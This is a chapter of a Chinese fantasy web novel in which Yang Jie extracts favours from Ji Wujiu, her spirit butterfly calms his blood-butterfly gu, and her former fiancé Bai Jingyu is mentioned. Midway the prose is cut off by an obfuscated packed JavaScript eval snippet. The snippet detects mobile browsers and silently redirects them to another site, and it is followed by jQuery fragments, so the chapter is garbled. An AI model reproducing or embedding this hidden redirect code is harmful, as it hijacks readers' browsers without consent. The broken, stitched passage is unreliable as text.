76. 第 76 章

作品:《和反派一起搞事业

    杨洁笑意盈盈看着计无咎,眼眸倒映着灿烂阳光,既清透又难以看透。


    计无咎感到气不顺,可偏偏对她生不出一丝怨气,自己也觉得有些窝囊。


    他摸了摸刀柄,又赶快放下,恼火地说:“三娘,你那蛟珠我已经配药吃了。


    “配药?”杨洁掩嘴轻笑,眼中闪过一丝狡黠,“我师傅给你配的吧。”


    看她表情,他心中一颤,暗叫:“糟了,不小心把底牌露了!”


    他垂下眼皮,用硬气的声音说:“反正珠子我是赔不出来了,只能赔你钱。”说着手摸向自己钱袋。


    杨洁把他的连串反应都看在眼里,忆起他当初对那珠子的痴迷表情。


    这药——恐怕对计先生非常重要。


    她迅速搜索原主的记忆,对他说:“钱财乃身外物,先生何必如此呢。”


    “那日我便对先生说过,所谓的‘蛟珠’也不过是大一点的珍珠,我并不放在心上。”


    计无咎动容,反驳:“那可是千金难求的珍品!”


    “你弄不到的好东西,对有些人来说却轻而易举。”杨洁俏皮一笑,手指点了点锦被,“先生若需要好珍珠,三娘可以给你介绍门路。”


    计无咎目光立时一亮,握紧双拳,盯住她眼问:“你想干什么?”


    “没意思。”杨洁理了理衣袖的皱褶,“你既这样,我也懒得费神了。”


    “再说我们的账务还没清呢。”


    计无咎被她的话弄得一颗心七上八下,只能无奈请教:“三娘你不要钱财,到底要何赔偿?”


    “别紧张,我只要你答应我两件简单小事。”


    “哪两件事?”计无咎现在对她可不敢丝毫大意。


    杨洁见他如临大敌的样子又笑了。


    她伸出食指,“第一件事,你闲时来给我讲讲江湖上的事。”


    看他吃惊得瞪大了眼,她补充道:“如今我刚涉足江湖,对江湖上的事两眼一抹黑,这怎么行?”


    “师傅平日忙,我不想老去麻烦他。你是个老-江湖了,想必应该有些见识。”


    “难道这点小事,你也要推脱?”


    计无咎脸色红白交错,欲言又止,终于没好气指了指书房方向。


    他比了一个割喉的手势,“你想要我死,就直说吧。”


    “我宁愿自行了断,也不想受他折磨。”


    杨洁皱眉,表情恼怒地说:“你一天到晚在想什么啊,我跟他可没关系。”


    “没关系!”计无咎一脸不信。


    杨洁不屑看着他,“心思不纯的人,看别人也带有色眼光。”


    计无咎摸-摸鼻子,不再作声。


    “再说,现在给你机会,你敢对我无礼吗?”她质问他。


    计无咎看她美丽的容颜,却仿佛看到了触之即死的毒花,连忙摇头。


    他袖中突然窜出一个红影,朝杨洁扑去。


    杨洁看清那玩意,立刻拿起瓷枕挡在脸前,同时喝骂:“你想干嘛?”


    “宝宝,回来——!”计无咎脸色一白,声音发颤。


    红影停在白色瓷枕上,翅膀如血色薄纱般颤动,在阳光下折射出诡异的光泽。


    翅膀上花纹如鬼脸不断绽放。


    计先生连唤几声,那血蝶就是赖在瓷枕上不回去,翅膀扇得似个小风扇。


    他满脸焦急,试着伸手抓,似怕伤了蝶儿,又把手缩回来。


    金蝶在杨洁脑海中发话:“小洁,别怕。我已经定住它了。”


    “这鬼东西暴动,跟你有关?”杨洁立刻发现蹊跷。


    “我发现这小家伙可能跟我的同族有关。”


    “它还凝结了一身戾气,正好净化了用来补充我们的能量。”


    金蝶声音欢快,好似捞了一尾肥美大鱼。


    杨洁瞥了一眼着急上火的计先生,在心中快意地说:“小心些,别弄死了。要不这人发起疯来,我们可不好招架。”


    “放心,我帮它净化吸收这些负面的情绪能量,对它也有好处。”


    话音刚落,那血蝶就停止扇动,从瓷枕掉下来。


    计先生一把捞住,拿到眼前细看,发现血蝶肚子还在缓慢起伏,这才松了一口气。


    他立即取出一个小玉瓶,喂了一点茉莉味的液体给虚弱的血蝶,把它装入特制的笼子,小心放在自己袖袋里。


    他刚抬起头,杨洁就把瓷枕掷向他,“哼,连自己宠物都管不好!”


    她指着他骂:“你想杀人啊?”


    计无咎无奈抓住瓷枕,看她横眉怒眼的样子更心虚了,只好抱拳作揖:“三娘,这都是失误啊!”


    “宝宝许是要结茧了,所以才一时失控。”


    “我管你怎样。”杨洁尤自愤愤,“你那‘宝宝‘’吓着我了,你要赔我损失。”


    “你说怎么赔吧?”


    “你这宝宝是什么蝴蝶,给我也弄一只玩啊。”


    计无咎苦笑,“这可不是蝴蝶,是苗疆的血蝶蛊。珍贵异常,我这么多年也只求来一只。”


    原来是苗疆的蛊。不知跟金蝶同族有什么关系?


    “你啊,真是个穷鬼!这也珍贵,那也难得。”她一摆手,“算了,我也不稀罕你东西了。”


    “但给我讲解江湖常识的事,你不能再推脱了。”她提高语调。


    计无咎对上她的凝视,感到头皮发麻,迟疑道:“过一阵子吧,我最近惹上了麻烦,不能回据点。”


    杨洁舍不得他这个情绪能量的“充电宝”,好心提醒:“江湖凶险,你自己小心吧。有事别硬撑,不行就赶紧转移。”


    计无咎听得有些哭笑不得。这番长辈式的叮嘱却出自一个年轻女孩之口,而且还是对他。


    他忍不住说:“我的麻烦都是你惹来的,那个叫白景瑜的小子。”


    “白景瑜。”杨洁身子一僵,无数记忆碎片从脑海蜂拥而出,袭击她的心。


    她按了按有些发胀的太阳穴,肃容问:“他盯上你了?”


    计无咎被她严肃的样子镇住了,继而笑道:“这小子跟你什么关系?你莫要——”


    “我没跟你说笑话。”她打断他话,“若他真盯上你了,你最近千万不要回据点。”


    “他,一个成都府白家的公子哥。”


    “真是无知者无畏。”她放下手冷笑,“你若知晓他13岁就中了秀才,还敢这么想吗?”


    计无咎浑身一颤,不敢置信地望向她。


    身为读书人,他最清楚这话的分量:这是真正的天才!


    杨洁朝他肯定地点头。以她理解来看,在现代这相当于15岁考入清北+未成年获得公务员编制+免除全家赋税。


    这样的人在哪个时代可被小视?


    计无咎眉心紧蹙,神色有些沉重,手紧握住刀柄。


    “你既对他如此熟悉,那你……和他?”


    “这人是我的前未婚夫,我们青梅竹马一起长大的。”


    计无咎没想到听到这个秘密,忍不住看了一眼书房方向,“我劝你,还是把这人忘了吧。”


    “多管闲事。”杨洁皱眉,“我若是你,就老实呆在成都府一段日子。他家族根基都在那,投鼠忌器不会动你。”


    不等他回话,她说道:“你还欠我第二件事,尽快给我弄一副轮椅来。”


    “轮椅?”他神色惊诧。


    “就是带轮的椅子。”


    “你真没眼力,没看到我腿受伤了吗?天天呆在床上,烦死人了。我想坐轮椅出去走走。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931511|188546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    计无咎神情彻底放松,“你要什么样式的?”


    杨洁问:“你会做吗?”


    “我找木匠做。”


    杨洁点头:“我画一个草图,你拿给木匠参详。”


    计无咎坐在矮几上,看杨洁在纸上快速勾勒出一个椅子草图,然后又画出一张张他完全看不懂复杂的机关图。


    她目光专注,身姿柔美,浑身似萦绕柔光,美得仿佛一个仙女。


    但他现在知道这都是假象,她就是个货真价实的魔女。


    如今她跟着廖神医学医,还跟素姨学武,以后恐怕会变得更可怕。


    当然,他戒备她的同时也也有些佩服她。


    这女人是名副其实的才女,连深奥的机关术都懂。


    只可惜红颜薄命。


    看这周遭精巧陈设,他又不禁摇头:命薄个屁!把老子耍得团团转,这样的魔女,何处水土不养人?


    她和东方凛在某些方面惊人的相似,都是他看不透的人。


    东方凛的无情,他深有体会。


    可杨三娘到底是无情还是有情,他却有些分不清。


    计无咎离去后,素姨好心提醒杨洁:“这小子不是个好人,莫要跟他多接触。”


    杨洁乖巧笑道:“素姨,谢谢您关心。我知道这人脾性不好。”


    “呵呵,他得罪了我师傅,还想让我给他求情。”


    她调皮地眨眼,“我啊,当然要乘机狠敲他一笔了。”


    素姨见状也跟着笑了。这样活泼聪明的学生实在招人喜欢。


    等客房重新恢复安静,杨洁笑容一收,恢复了医生本色。


    她把此次和计先生的交手复盘,在心中慢慢记起病历:计无咎,男,三十到四十岁左右,精神不稳定,疑是有精神分-裂病症状……


    写完病历,她问金蝶,“你今日收获如何?”


    金蝶其实早就想说了,但经过一段时间相处,它明白最好不要在小洁思考时打断她,要不然结果会非常不妙。


    这下听小洁问起,它再也按捺不住兴奋,在精神海中乐得翩翩起舞,大喊:“收获多啊!”


    “前些日子,我们在东方魔头身上损失的能量,统统在这老小子身上找补回来了,还有多,哈哈!”


    “还在那只血蝶身上找到我同族在这时空存在的线索,真是太让我开心了!”


    它在精神海中翻滚起来,就像一枚高频共振的狂喜信号,浑身迸-射-出道道金色亮光,如同镭射碟片在太阳下折射出的光轨。


    杨洁也很高兴,等金蝶撒完了欢,伸出手让它停在掌心,摸着它有些毛茸茸的头问:“我看计先生屈服得那么快,你那精神场也建了不少功吧。”


    提起这个,金蝶得意地抖了抖触-须,“那当然,我不断调整精神场域频率,安抚软化他的精神场。”


    “我已经记住了最适合他的精神场域频率了。下次他再来,我能让他更快服软!”


    杨洁手下动作一顿,“这会引起他的警惕吗?”


    “应该不会,他的精神核心不稳,精神力有些混沌不清,没那种敏锐的洞察力。”


    杨洁抓住其中的关键,“东方香主的精神状况恰与他相反,所以他会察觉对吗?”


    “是啊,”金蝶感叹,“若计无咎这样的人要多来些,我们搜集起能量也容易多了。”


    “你还送了他一副书法,他若日日观摩……可惜他却要去成都府了,我们鞭长莫及。”


    “是啊,成都府。”杨洁脑海中不由再次浮现少年白景瑜的身影,连同他们那些美好的回忆。


    虽然这跟她毫不相干。


    但原主的记忆总缠着她,并试图影响她。


    她真不想再听到这个人的名字了。